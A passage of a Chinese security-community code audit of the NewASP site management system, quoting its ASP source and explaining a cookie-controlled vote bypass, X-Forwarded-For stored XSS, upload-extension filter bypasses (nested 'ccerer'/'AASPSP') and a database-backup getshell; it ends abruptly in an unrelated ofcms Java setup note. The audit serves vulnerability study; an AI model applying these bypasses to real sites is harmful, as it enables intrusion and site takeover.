SQL = “SELECT TOP 1 * FROM NC_Ca
这样的格式去进行SQL查询,所以作者估计是认真匹配正则然后修补了,所以很遗憾,这个系统我读了2次,还是没找到前台的注入(函数逻辑缝缝补补),又因为是Access数据库,拿到后台注入基本没啥用，除非是那种update的点可能结合getshell来玩下,所以我当时就放弃，欢迎各位师傅继续跟进下这个系统研究一波。
### 0x4.2 逻辑漏洞
一个纯粹出于学习而发现的无限刷票漏洞(鸡肋且垃圾的洞)
wwwroot\vote\vote.asp
<!--#include file="../conn.asp"-->
<!--#include file="../inc/const.asp"-->
<%
Dim voteid, MyChoose, i, Rs, SQL
If Not IsObject(Conn) Then ConnectionDatabase
voteid = CLng(Request("voteid"))
If Request.Cookies("vote_"&voteid) = "newaspvote_" &voteid Then
Response.Write("&back=已经参与过投票，谢谢")
Response.End
Else
Response.Cookies("vote_"&voteid) = "newaspvote_" &voteid
Response.Cookies("vote_"&voteid).expires = Date + 3650
Response.Cookies("vote_"&voteid).domain = Request.ServerVariables("SERVER_NAME")
MyChoose = Split(Request("myChoose"), ",", -1, 1)
Set Rs = server.CreateObject("adodb.recordset")
SQL = "SELECT * FROM NC_Vote WHERE id = " &voteid
Rs.Open SQL, Conn, 1, 3
If Not (Rs.BOF And Rs.EOF) Then
For i = 1 To 5
If MyChoose(i -1) = "true" Then
Rs("ChooseNum_"&i&"") = Rs("ChooseNum_"&i&"") + 1
End If
Next
Rs.update
For i = 1 To 5
If MyChoose(i -1) = "true" Then
Conn.Execute ("UPDATE NC_Vote SET VoteNum=VoteNum+1 WHERE id=" &Rs("id"))
End If
Next
End If
Rs.Close
Set Rs = Nothing
Response.Write("&back=投票已经送达，谢谢参与")
End If
CloseConn
%>
Response.Cookies("vote_"&voteid) = "newaspvote_" &voteid
Response.Cookies("vote_"&voteid).expires = Date + 3650
Response.Cookies("vote_"&voteid).domain = Request.ServerVariables("SERVER_NAME")
'首先投票的成功的话,会设置Cookie的"newaspvote_" &voteid 来代表已经投过票了
If Request.Cookies("vote_"&voteid) = "newaspvote_" &voteid Then
Response.Write("&back=已经参与过投票，谢谢")
Response.End
' -- 这个代码是通过cookie匹配来判断的相等则说明已经投过了,但是因为Cookie可控，我们直接burp，去掉这个字段就可以无限刷票了,一般安全的投票是绑定session来限制的。
### 0x4.3 XSS漏洞
这个系统过滤的挺严格的,但是细心找还是能找到几处有意思的xss。
首先是注册的地方:
user/reg.asp code as
ElseIf Newasp.CheckStr(Request("action")) = "reg" Then '34 lines
Call RegNewMember '跟进这个函数
'---------------------------------------- '--- 下面我会一行一行去读然后删掉那些跟可控无关的语句
Sub RegNewMember()
Dim Rs,SQL
Dim UserPassWord,strUserName,strGroupName,Password
Dim rndnum,num1
Dim Question,Answer,usersex,sex
On Error Resume Next
'---------- 这里过滤了input框的所以value,省略
Set Rs = Newasp.Execute("SELECT username FROM NC_User WHERE username='" & strUserName & "'")
' --------- 这里是用户名邮箱唯一性验证，省略
'----------------------------------------------------------------- '系统整合
'----------------------------------------------------------------- Dim API_Newasp,API_SaveCookie,SysKey
If API_Enable Then
'---------------------无关代码省略
'---------------这里是重点--------- Rs.Close:Set Rs = Nothing
Set Rs = Server.CreateObject("ADODB.Recordset")
SQL = "select * from NC_User where (userid is null)'这里打开了NC_User表
Rs.Open SQL,Conn,1,3
'------- 下面进行了修改表的操作
Rs.Addnew
Rs("username") = strUserName '过滤了
Rs("password") = Password
Rs("nickname") = Newasp.CheckBadstr(Request.Form("nickname")) '过滤了
Rs("UserGrade") = 1
Rs("UserGroup") = strGroupName '不可控
Rs("UserClass") = 0
If CInt(Newasp.AdminCheckReg) = 1 Then
Rs("UserLock") = 1
Else
Rs("UserLock") = 0
End If
Rs("UserFace") = "face/1.gif"
Rs("userpoint") = CLng(Newasp.AddUserPoint)
Rs("usermoney") = 0
Rs("savemoney") = 0
Rs("prepaid") = 0
Rs("experience") = 10
Rs("charm") = 10
Rs("TrueName") = Newasp.CheckBadstr(Request.Form("username")) '过滤了
Rs("usersex") = usersex '不可控
Rs("usermail") = Newasp.CheckStr(Request.Form("usermail"))'过滤了
Rs("oicq") = ""
Rs("question") = Question '过滤了
Rs("answer") = md5(Answer)
Rs("JoinTime") = Now()
Rs("ExpireTime") = Now()
Rs("LastTime") = Now()
Rs("Protect") = 0
Rs("usermsg") = 0
Rs("userlastip") = Newasp.GetUserIP ' 这是漏洞点跟进这里
If CInt(Newasp.AdminCheckReg) = 0 And CInt(Newasp.MailInformPass) = 0 Then
Rs("userlogin") = 1
Else
Rs("userlogin") = 0
End If
Rs("UserToday") = "0,0,0,0,0,0,0,0,0,0,0"
Rs("usersetting") = ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"
Rs("ip") = Newasp.GetUserIP
Rs("Badness") = 0
Rs("isask") = 0
Rs.update
Rs.Close
'--------------------下面代码省略--------------------
里面有个关键代码:
Rs("userlastip") = Newasp.GetUserIP选择跟进这个属性
Path:C:\Users\xq17\Desktop\wwwroot\inc\cls_main.asp
GetUserip = CheckStr(getIP) '跟进CheckStr函数
Private Function getIP()
Dim strIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" Or InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
Actforip = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Actforip = Request.ServerVariables("REMOTE_ADDR")
Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")'这里可以控制
Actforip = Request.ServerVariables("REMOTE_ADDR")
End If
getIP = Replace(Trim(Mid(strIPAddr, 1, 30)), "'", "") '这里没有过滤双引号
End Function
getIP = Replace(Trim(Mid(strIPAddr, 1, 30)), "'", "")
可以看到这里只是限制了长度为30(完全可以写xss啦),但是没有过滤双引号,这样子就很容易出事情啦,在后台目录下搜索
userlastip这个key寻找输出点。
果断跟进去看看有没有啥过滤的。
Sub EditUser()
Call PageTop
Dim userid,username
userid = Newasp.ChkNumeric(Request("userid"))
username = Replace(Request("username"), "'", "")
If userid = 0 Then
SQL = "SELECT * FROM NC_user WHERE username='" & username & "'"
Else
SQL = "SELECT * FROM NC_user WHERE userid=" & userid
End If
Set Rs = Newasp.Execute(SQL) '这里直接获取到了sql查询后的对象
If Rs.BOF And Rs.EOF Then
FoundErr = True
ErrMsg = ErrMsg + "<li>Sorry！没有找到任何会员。或者您选择了错误的系统参数!</li>"
Exit Sub
End If
'然后后面直接就是插入了HTMl的input的value,可以看到是双引号的,至此完成xss
<td class="tablerow1"><input size="30" name="userlastip" value=" <%=Rs("userlastip")%>" type="text" /></td>
过程演示下:
这里可以利用组合拳结合社工来getshell,还有这个系统的cookie里面包含了md5的密码和用户名,代码很简单,自己去读下就知道了。
### 0x4.4 上传点分析
首先程序的上传点也是分为前台用户和后台用户处的,这里可以进行分析下是否可以进行绕过上传
user 目录下存在
1. C:\Users\xq17\Desktop\wwwroot\user\Upfile.asp
2. C:\Users\xq17\Desktop\wwwroot\user\Upload.asp
这两个上传点,下面分析下程序是如何限制和过滤后缀的，然后探讨下绕过的可能性
Upload.asp code as
<!--#include file="setup.asp"--> '不存在
<!--#include file="check.asp"--> ' 跟进这个可以发现,没办法绕过权限判断
<!--#include file="../inc/UploadCls.Asp"-->
<%
'=====================================================================
' 软件名称：新云网站管理系统
' 当前版本：Newasp Site Management System Version 3.0
' 文件名称：upload.asp
' 更新日期：2007-4-2
' 官方网站：新云网络(www.newasp.net www.newasp.cn) QQ：94022511
'=====================================================================
' Copyright 2004-2007 newasp.net - All Rights Reserved.
' newasp is a trademark of newasp.net
'=====================================================================
Server.ScriptTimeOut = 18000
Dim UploadObject,AllowFileSize,AllowFileExt
Dim sUploadDir,SaveFileName,PathFileName,url
Dim sAction,sType,SaveFilePath,UploadPath,m_strInstance,m_intMaxsize
Dim m_strFiletype,m_strType,m_strFileExt,m_strRootPath,m_intshow,m_intRename
Dim ChannelSetting,m_intThumbnail,m_intAutoRename,m_strUploadFileDir,m_strUploadPicDir
'Dim m_intBindDomain,m_strNamedPath
'm_intBindDomain = CInt(Newasp.BindDomain)
'm_strNamedPath = Newasp.NamedPath
'----- .............................. 减少篇幅，省略了大部分代码
%>
跟进这个check.asp
<%
Dim GroupSetting,Cookies_Name,UserLastIP
Dim rsmember,sqlmember,MemberName,MemberEmail,memberid
MemberName = Newasp.CheckBadstr(Newasp.memberName) '可控
memberid = Newasp.ChkNumeric(Newasp.memberid) '可控
UserLastIP = Newasp.CheckStr(Request.Cookies(Newasp.Cookies_Name)("userlastip")) '可控
If Trim(MemberName) = "" Or memberid = 0 Then
Response.Redirect ("./login.asp")
End If
MemberName = Left(MemberName,45) '限制名字长度
If Trim(Request.Cookies(Newasp.Cookies_Name)) = "" Then
Response.Redirect ("./login.asp")
End If
GroupSetting = Split(Newasp.UserGroupSetting(CInt(Newasp.membergrade)), "|||")'可控
Call GetUserTodayInfo
Cookies_Name = "usercookies_" & Newasp.memberid '可控
If Trim(Request.Cookies(Cookies_Name)) = "" Then '跳过
Response.Cookies(Cookies_Name)("userip") = Newasp.GetUserIP
Response.Cookies(Cookies_Name)("dayarticlenum") = 0
Response.Cookies(Cookies_Name)("daysoftnum") = 0
Response.Cookies(Cookies_Name).Expires = Date + 1
End If
sqlmember = "SELECT userid,UserLock,usermail,userlastip FROM NC_User WHERE username='" & MemberName & "' And UserGrade="& CInt(Newasp.membergrade) &" And userid=" & CLng(memberid)
Set rsmember = Newasp.Execute(sqlmember)
If rsmember.BOF And rsmember.EOF Then '代表是空数据集
Response.Cookies(Newasp.Cookies_Name) = ""
Set rsmember = Nothing
Response.Redirect "login.asp" '跳过这里
Response.End
Else
If rsmember("UserLock") > 0 Then
Response.Cookies(Newasp.Cookies_Name) = ""
Set rsmember = Nothing
ErrMsg = "<li>你的用户名已被锁定,你不能登陆！如要开通此帐号，请联系管理员。</li>"
Call Returnerr(ErrMsg)
Response.End
End If
If Newasp.ChkNumeric(GroupSetting(41)) = 2 Then
If rsmember("userlastip") <> UserLastIP Or UserLastIP <> Newasp.GetUserIP Then
Response.Cookies(Newasp.Cookies_Name) = ""
Set rsmember = Nothing
ErrMsg = "<li>你已经在其他地方登录，本系统不允许两个人使用同一个帐号登录。</li>"
Call Returnerr(ErrMsg)
Response.End
End If
End If
MemberEmail = Trim(rsmember("usermail"))
End If
Set rsmember = Nothing
If CInt(Newasp.memberclass) > 0 Then '可控
Dim rsUserClass,SQLUserClass
Set rsUserClass = Server.CreateObject("ADODB.Recordset")
SQLUserClass = "SELECT userid,UserClass,UserLock,ExpireTime FROM NC_User WHERE username='" & MemberName & "' And userid=" & CLng(Newasp.memberid)
rsUserClass.Open SQLUserClass,Conn,1,3
If rsUserClass.BOF And rsUserClass.EOF Then
Response.Cookies(Newasp.Cookies_Name) = ""
rsUserClass.Close:Set rsUserClass = Nothing
Response.Redirect "login.asp"
Else
If rsUserClass("UserLock") > 0 Then
Response.Cookies(Newasp.Cookies_Name) = ""
rsUserClass.Close:Set rsUserClass = Nothing
Response.Redirect "login.asp"
End If
If DateDiff("D", CDate(rsUserClass("ExpireTime")), Now()) > 0 And rsUserClass("UserClass") <> 999 Then
rsUserClass("UserClass") = 999
rsUserClass.Update
End If
End If
rsUserClass.Close:Set rsUserClass = Nothing
End If
%>
这些基本都可以控制,也就是说我们可以绕过验证模块进行上传,我们继续跟进看下上传的流程
这里我整理下对应文件的逻辑:
入口: Upload.asp 一层包含:inc/UploadCls.Asp 二层包含:Upload.inc
Upload.inc :
class: UpFileClass FileInfoClass
UploadCls.Asp:
class: UpFileCls FileInfoCls
强烈推荐看UploadCls.Asp文件内的注释,能帮助我们快速理解变量含义
然后我们重新去读 Upload.asp
Server.ScriptTimeOut = 18000
Dim UploadObject,AllowFileSize,AllowFileExt
Dim sUploadDir,SaveFileName,PathFileName,url
Dim sAction,sType,SaveFilePath,UploadPath
Dim m_strFileExt,m_strRootPath,m_strInstance
UploadObject = CInt(Newasp.UploadClass) '上传文件对象 --- 0=无组件上传,1=Aspupload3.0组件,2=SA-FileUp 4.0组件 默认是0无组件上传
AllowFileSize = CLng(Newasp.UploadFileSize * 1024 )
AllowFileExt = Newasp.UploadFileType '后台可以修改，存储在数据库的类型
'---- exe|rar|zip|gif|jpg|png|bmp|swf|mid|rm| 默认
AllowFileExt = Replace(Replace(Replace(UCase(AllowFileExt), "ASP", ""), "ASPX", ""), "|", ",") '这里可以进行绕过 AASPSP 这样就可以绕过
url = Split(Request.ServerVariables("SERVER_PROTOCOL"), "/")(0) & "://" & Request.ServerVariables("HTTP_HOST")
'--- url = HTTP://10.211.55.20:8084
sType = UCase(Request.QueryString("sType")) '可控
If Newasp.CheckPost=False Then '限制为post方法
Call Returnerr(Postmsg)
Response.End
End If
Dim ChannelSetting,m_strUploadPicDir
If Len(Newasp.Channel_Setting &"") < 30 Then Newasp.Channel_Setting = "0|||1|||2|||3|||4|||0|||1|||UploadPic/|||UploadFile/|||"
ChannelSetting = Split(Newasp.Channel_Setting & "|||||||||||||||", "|||")
m_strUploadPicDir = Replace(Trim(ChannelSetting(7)), "\", "/") ' :UploadPic
If Len(m_strUploadPicDir) < 2 Then m_strUploadPicDir = "UploadPic/"
If Right(m_strUploadPicDir,1) <> "/" Then m_strUploadPicDir = m_strUploadPicDir & "/"
m_strInstance = "content"
m_strRootPath = Newasp.InstallDir ' /
Select Case ChannelID ' 可控，这里为1
Case 0
If stype = "AD" Then
UploadPath = "adfile/UploadPic/"
sUploadDir = Newasp.InstallDir & UploadPath
ElseIf stype = "LINK" Then
UploadPath = "link/UploadPic/"
sUploadDir = Newasp.InstallDir & UploadPath
Else
UploadPath = "UploadFile/"
sUploadDir = Newasp.InstallDir & UploadPath
End If
Case Else
UploadPath = m_strUploadPicDir
sUploadDir = Newasp.InstallDir & Newasp.ChannelDir & UploadPath
m_strRootPath = Newasp.InstallDir & Newasp.ChannelDir
End Select
sAction = UCase(Trim(Request.QueryString("action"))) 'sava
If sAction = "SAVE" Then
If CInt(Newasp.StopUpload) = 1 Then
Response.Write ("<script>alert('对不起!本频道未开放上传功能!');history.go(-1)</script>")
Response.End
End If
If CInt(GroupSetting(20)) <> 1 Then
Response.Write ("<script>alert('对不起!您没有上传文件的权限');history.go(-1)</script>")
Response.End
End If
If CLng(UserToday(1)) => CLng(GroupSetting(21)) Then
Response.Write ("<script>alert('对不起!您每天只能上传" & GroupSetting(21) & "个文件。');history.go(-1)</script>")
Response.End
End If
Select Case UploadObject
Case 0,1,2,3
Call UploadFile '跟进这个函数 在下面就可以看到了
Case 999
Response.Write ("<script>alert('本系统未开放上传功能!');history.go(-1)</script>")
Response.End
Case Else
Response.Write ("<script>alert('本系统未开放上传功能!');history.go(-1)</script>")
Response.End
End Select
Dim strUserToday
strUserToday = UserToday(0) &","& UserToday(1)+1 &","& UserToday(2) &","& UserToday(3) &","& UserToday(4) &","& UserToday(5)
UpdateUserToday(strUserToday)
SaveFilePath = UploadPath & SaveFilePath
Call OutScript(SaveFilePath)
Else
Call UploadMain
End If
Sub UploadFile()
Dim Upload,FilePath,sFilePath,FormName,File,F_FileName
Dim PreviewSetting,DrawInfo,Previewpath,strPreviewPath
Dim PreviewName,F_Viewname,MakePreview
'-- 是否生成缩略图片
MakePreview = False
Previewpath = Newasp.InstallDir & Newasp.ChannelDir
strPreviewPath = m_strUploadPicDir & CreatePath(Previewpath & m_strUploadPicDir)
PreviewPath = Previewpath & strPreviewpath
PreviewSetting = Split(Newasp.PreviewSetting, ",")
If CInt(PreviewSetting(2)) = 1 Then
DrawInfo = PreviewSetting(5)
ElseIf CInt(PreviewSetting(2)) = 2 Then
DrawInfo = Newasp.InstallDir & PreviewSetting(10)
Else
DrawInfo = ""
End If
If DrawInfo = "0" Then
DrawInfo = ""
PreviewSetting(2) = 0
End If
sFilePath = CreatePath(sUploadDir) '按日期生成目录
FilePath = sUploadDir & sFilePath
'-------- FilePath = /article/UploadPic/2019-8/
'下面开始调用UploadCls.Asp的类了,简单读一下
Set Upload = New UpFile_Cls
Upload.UploadType = UploadObject '设置上传组件类型 0
Upload.UploadPath = FilePath '设置上传路径
Upload.MaxSize = AllowFileSize '单位 KB
Upload.InceptMaxFile = 10 '每次上传文件个数上限
Upload.InceptFileType = AllowFileExt '设置上传文件限制
Upload.ChkSessionName = "uploadPic"
'预览图片设置
Upload.MakePreview = MakePreview
Upload.PreviewType = CInt(PreviewSetting(0)) '设置预览图片组件类型
Upload.PreviewImageWidth = CInt(PreviewSetting(3)) '设置预览图片宽度
Upload.PreviewImageHeight = CInt(PreviewSetting(4)) '设置预览图片高度
Upload.DrawImageWidth = CInt(PreviewSetting(13)) '设置水印图片或文字区域宽度
Upload.DrawImageHeight = CInt(PreviewSetting(14)) '设置水印图片或文字区域高度
Upload.DrawGraph = CCur(PreviewSetting(11)) '设置水印透明度
Upload.DrawFontColor = PreviewSetting(7) '设置水印文字颜色
Upload.DrawFontFamily = PreviewSetting(8) '设置水印文字字体格式
Upload.DrawFontSize = CInt(PreviewSetting(6)) '设置水印文字字体大小
Upload.DrawFontBold = CInt(PreviewSetting(9)) '设置水印文字是否粗体
Upload.DrawInfo = DrawInfo '设置水印文字信息或图片信息
Upload.DrawType = CInt(PreviewSetting(2)) '0=不加载水印 ，1=加载水印文字，2=加载水印图片
Upload.DrawXYType = CInt(PreviewSetting(15)) '"0" =左上，"1"=左下,"2"=居中,"3"=右上,"4"=右下
Upload.DrawSizeType = CInt(PreviewSetting(1)) '"0"=固定缩小，"1"=等比例缩小
If PreviewSetting(12)<>"" Or PreviewSetting(12)<>"0" Then
Upload.TransitionColor = PreviewSetting(12) '透明度颜色设置
End If
'执行上传
'--------- 调用了SaveUpFile方法 我们跟进看看
Upload.SaveUpFile
If Upload.ErrCodes<>0 Then
'----------这个点就是报错什么类型不对啥的点 -------- Response.write ("<script>alert('错误："& Upload.Description & "');history.go(-1)</script>")
Exit Sub
End If
'至少一个
If Upload.Count > 0 Then
For Each FormName In Upload.UploadFiles
Set File = Upload.UploadFiles(FormName)
SaveFilePath = sFilePath & File.FileName
F_FileName = FilePath & File.FileName
m_strFileExt = File.FileExt
'创建预览及水印图片
If Upload.PreviewType<>999 and File.FileType=1 then
PreviewName = "p" & Replace(File.FileName,File.FileExt,"") & "jpg"
F_Viewname = Previewpath & PreviewName
'创建预览图片:Call CreateView(原始文件的路径,预览文件名及路径,原文件后缀)
Upload.CreateView F_FileName,F_Viewname,File.FileExt
If CBool(MakePreview) Then
Call OutPreview(strPreviewPath & PreviewName)
End If
End If
Set File = Nothing
Next
Else
Call OutAlertScript("请选择一个有效的上传文件。")
Exit Sub
End If
Set Upload = Nothing
End Sub
Sub UploadMain()
Dim PostRanNum
Randomize
PostRanNum = Int(900*rnd)+1000
Session("uploadPic") = Cstr(PostRanNum)
%>
读完可以确定Upload.SaveUpFile这个是重点方法,我们选择跟进看看
Public Sub SaveUpFile()
On Error Resume Next
Select Case (Upload_Type)
Case 0
ObjName = "无组件"
Set UploadObj = New UpFile_Class
If Err.Number<>0 Then
ErrCodes = 1
Else
SaveFile_0 '跟进这个
End If
Case 1
'..................................省略无关代码
End Sub
Private Sub SaveFile_0()
Dim FormName,Item,File
Dim FileExt,FileName,FileType,FileToBinary
UploadObj.InceptFileType = InceptFile
UploadObj.MaxSize = FileMaxSize
UploadObj.GetDate () '取得上传数据
FileToBinary = Null
'-------- 这里是设置ErrCodes的关键代码,后面会进行判断必须要为0，初始值为0
' 在这里是对应的ErrorCodes对应的错误信息
'Public Property Get Description
' Select Case ErrCodes
' Case 1 : Description = "不支持 " & ObjName & " 上传，服务器可能未安装该组件。"
' Case 2 : Description = "暂未选择上传组件！"
' Case 3 : Description = "请先选择你要上传的文件!"
' Case 4 : Description = "文件大小超过了限制 " & (FileMaxSize\1024) & "KB!"
' Case 5 : Description = "文件类型不正确!"
' Case 6 : Description = "已达到上传数的上限！"
' Case 7 : Description = "请不要重复提交！"
' Case Else
End Property
If Not IsEmpty(SessionName) Then ' SessionName = uploadPic
If Session(SessionName) <> UploadObj.Form(SessionName) or Session(SessionName) = Empty Then
ErrCodes = 7
Exit Sub
End If
End If
IsRename = ChkBoolean(UploadObj.Form("Rename"))
If IsMakePreview Then
m_blnNoThumbnail = ChkBoolean(UploadObj.Form("NoThumbnail"))
If m_blnNoThumbnail Then
IsMakePreview = False
Else
IsMakePreview = True
End If
End If
If UploadObj.Err > 0 then
Select Case UploadObj.Err
Case 1 : ErrCodes = 3
Case 2 : ErrCodes = 4
Case 3 : ErrCodes = 5
End Select
Exit Sub
Else
For Each FormName In UploadObj.File ''列出所有上传了的文件
If Count>MaxFile Then
ErrCodes = 6
Exit Sub
End If
Set File = UploadObj.File(FormName)
FileExt = FixName(File.FileExt) '后缀replace
If CheckFileExt(FileExt) = False then '后缀判断
ErrCodes = 5
EXIT SUB
End If
If Not IsRename Then
FileName = FormatName(FileExt)
Else
FileName = File.FileName
End If
FileType = CheckFiletype(FileExt) '0
If IsBinary Then
FileToBinary = File.FileData
End If
If File.FileSize>0 Then
File.SaveToFile Server.Mappath(FilePath & FileName) '然后这里进行了保存，跟进这个
AddData FormName , _
FileName , _
FilePath , _
File.FileSize , _
File.FileType , _
FileType , _
FileToBinary , _
FileExt , _
File.FileWidth , _
File.FileHeight
Count = Count + 1
CountSize = CountSize + File.FileSize
FileMaxSize = CCur(CountSize)
End If
Set File=Nothing
Next
For Each Item in UploadObj.Form
If UploadForms.Exists (Item) Then _
UploadForms(Item) = UploadForms(Item) & ", " & UploadObj.Form(Item) _
Else _
UploadForms.Add Item , UploadObj.Form(Item)
Next
If Not IsEmpty(SessionName) Then Session(SessionName) = Empty
End If
End Sub
这里有三个关键的check方法(都是根据ext来搞的)
Private Function FixName(Byval UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"") '这里干掉了字符
FixName = Replace(FixName,".","")
FixName = Replace(FixName,"'","")
FixName = Replace(FixName,"asp","")
FixName = Replace(FixName,"asa","")
FixName = Replace(FixName,"aspx","")
FixName = Replace(FixName,"cer","") '这里可以进行一下绕过ccerer
FixName = Replace(FixName,"cdx","")
FixName = Replace(FixName,"htr","")
End Function
Private Function CheckFileExt(FileExt)
Dim Forumupload,i
CheckFileExt=False
If FileExt="" or IsEmpty(FileExt) Then
CheckFileExt = False
Exit Function
End If
If FileExt="asp" or FileExt="asa" or FileExt="aspx" Then '这里直接白名写死了
CheckFileExt = False
Exit Function
End If
Forumupload = Split(InceptFile,",")
For i = 0 To ubound(Forumupload)
If FileExt = Trim(Forumupload(i)) Then
CheckFileExt = True
Exit Function
Else
CheckFileExt = False
End If
Next
End Function
Private Function CheckFiletype(Byval FileExt) '返回类型
FileExt = Lcase(Replace(FileExt,".",""))
Select Case FileExt
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End Select
End Function
FileExt = FixName(File.FileExt) '后缀replace
If CheckFileExt(FileExt) = False then '后缀判断
ErrCodes = 5
EXIT SUB
End If
' -------------- FixName(替换为空) + CheckFileExt(后台可设置任意类型) => 导致绕过限制cer
File.SaveAs Server.Mappath(FilePath & FileName)
AddData File.Name , _ ' 换行符 类似python的 \
FileName , _
FilePath , _
File.Size , _
File.ContentType , _
FileType , _
FileToBinary , _
FileExt , _
File.ImageWidth , _
File.ImageHeight
Private Sub AddData( Form_Name,File_Name,File_Path,File_Size,File_ContentType,File_Type,File_Data,File_Ext,File_Width,File_Height )
Set FileInfo = New FileInfo_Cls
FileInfo.FormName = Form_Name
FileInfo.FileName = File_Name
FileInfo.FilePath = File_Path
FileInfo.FileSize = File_Size
FileInfo.FileType = File_Type
FileInfo.FileContentType = File_ContentType
FileInfo.FileExt = File_Ext
FileInfo.FileData = File_Data
FileInfo.FileHeight = File_Height
FileInfo.FileWidth = File_Width
UploadFiles.Add Form_Name , FileInfo
Set FileInfo = Nothing
End Sub
AddData这个方法是设置那个对象的一些属性。
我们跟进这个最后保存的方法看看:
Set UploadObj = New UpFile_Class
Set File = UploadObj.File(FormName) '生成File对象的过程
Server.CreateObject ("Scripting.Dictionary") 'ActiveX对象实例
所以最后调用的就是:
Public Sub SaveToFile (Byval Path)
Dim Ext,oFileStream
Ext = LCase(Mid(Path, InStrRev(Path, ".") + 1)) '取后缀
If Ext <> FileExt Then Exit Sub '这里的话进行了二次验证
If Trim(Path)="" or FileStart=0 or FileName="" or Right(Path,1)="/" Then Exit Sub
' 上面就是一些常规判断
If InStr(1, Path, ".asp", 1) > 0 Then Exit Sub
'从第一个字符开始搜索 采取文本比较.asp在path的位置 vbscript都是从1开始的要区别开来
'On Error Resume Next
Set oFileStream = CreateObject ("Adodb.Stream")'刘属性
oFileStream.Type = 1
oFileStream.Mode = 3
oFileStream.Open
oUpFileStream.Position = FileStart
oUpFileStream.CopyTo oFileStream,FileSize
oFileStream.SaveToFile Path,2 '读取流开始(长度)存到指定路径
oFileStream.Close
Set oFileStream = Nothing
End Sub
上面就是上传文件的步骤,下面看看怎么返回上传的路径:
Call OutScript(SaveFilePath)
同样是这个文件的后面一些输出方法和一些没啥关系的输出(这个大概看看就可以知道路径是怎么返回的):
可以发现和上面是对应的。
### 0x4.5 后台getshell
#### 0x 4.5.1 备份数据库getshell
这个应该可以说是很经典的漏洞了,操作相当简单,但是我们可以从代码层面进行解读一下。
1. 上传图片马，获取到路径
2. 把图片马通过备份功能修改为asp后缀
根据抓包得到url
/admin/admin_database.asp?action=BackupData&act=Backup,单入口我们直接跟进这个文件就行了。
Dim bkfolder, bkdbname, fso, fso1
Dim Action
Action = LCase(Request("action"))
Select Case Action
Case "renamedata" '数据库更名
If Not ChkAdmin("RenameData") Then
Server.Transfer("showerr.asp")
Request.End
End If
Call RenameData()
Case "backupdata" '备份数据 进入这里
If Not ChkAdmin("BackupData") Then '验证权限
Server.Transfer("showerr.asp")
Request.End
End If
If request("act") = "Backup" Then
If IsSqlDataBase = 1 Then
Call BackupSqlDatabase()
Else
Call BackupDatabase()'调用过程
End If
' -------- 过程代码如下
Sub BackupDatabase()
Dbpath = request.Form("Dbpath") '获取可控的数据文件路径
If InStr(Dbpath, ":") = 0 Then
Dbpath = Server.MapPath(Dbpath)
Else
Dbpath = Dbpath
End If
bkfolder = request.Form("bkfolder")
bkdbname = request.Form("bkdbname")
Set Fso = server.CreateObject("scripting.filesystemobject") '创建Fso对象
If fso.FileExists(dbpath) Then '判断dbpath路径是否存在
If CheckDir(bkfolder) = True Then 'CheckDir是判断是否存在目录
fso.CopyFile dbpath, bkfolder& "\"& bkdbname '这里直接把dbpath文件copy到了控制的bkdbname
Else
MakeNewsDir bkfolder
fso.CopyFile dbpath, bkfolder& "\"& bkdbname
End If
Succeed("备份数据库成功，您备份的数据库路径为" &bkfolder& "\"& bkdbname)
Else
FoundErr = True
ErrMsg = "找不到您所需要备份的文件。"
Exit Sub
End If
End Sub
所以成因非常简单,一般防御这种，可以直接把数据库路径写死，但是也不安全，特别是asa这种后缀数据库，所以最好用白名单去限制备份的后缀。
#### 0x4.5.2 上传getshell的突破
经过上面分析，核心上传代码还是那两个包含文件，所以前台和后台上传文件虽然不一样，但是过滤是一样的，那么能不能突破这个上传呢，我这里简单说下,代码非常暴力的多次遇到asp就exit了,所以说没有办法,但是有时候可以利用解析漏洞等做点事情。
#### 0x4.5.3 插入配置文件shell
上面其实我都是列举了经典的asp程序getshell思路,这个系统把配置文件都是存入了数据库,所以没有办法进行getshell,一般只要不过滤单引号，然后把网站设置这些写入了类似config.asp等文件的就可以getshell,下次可以分析一波这种系统的漏洞,如何闭合写asp一句话也是一种技巧。
## 0x5 关于这个系统的碎碎念
很遗憾没有挖掘到比较好的漏洞,但是我觉得有时候展示自己失败的和第一次尝试的过程，对新手会更有启发，代码审计其实更多是体力活，需要耐心和重复审计，后面如果有机会等进一步提高了asp代码审计的能力，我会再回溯这个系统。
## 0x6 感想(Thought)
第一次接触新语言的的代码审计，我个人还是推崇自己先静态读一次，这样能快速增加自己对新语言的熟悉感，所以这个cms我基本是逐行地去读，虽然说速度挺慢的，但是能让我更好地去理解开发者的心思，也更容易发现脆弱点。因为已经熟悉了asp程序的结构，后面挖掘其他cms的话，为了提高效率，会进行动态审计。由于最近在进修一些关于红队的知识，也没有HW等一些实战机会了，估计比较难遇到一些有趣的asp程序了，不过我接下来这几天可以记录下自己第一次做红队时从信息收集->撕开小口子->自闭->钓鱼攻击->免杀及其邮件伪造的文章跟各位师傅探讨下。
## 0x6 参考链接(Refer Link)
[Web.config设置system.webServer](https://www.cnblogs.com/xcsn/p/6939628.html)
[ASP入门（十六）-ASP开发的规范](https://www.cnblogs.com/pchmonster/p/4739147.html) | 社区文章 |
第一次学习java审计 可能有写得不好的地方
## 搭建环境
Github地址如下：
"<https://github.com/yuzhaoyang001/ofcms>"
然后使用idea导入war包
**配置tomcat**
然后创建数据库
运行sql文件
然后配置好数据库文件
根据自己安装的mysql版本配置pom.xml
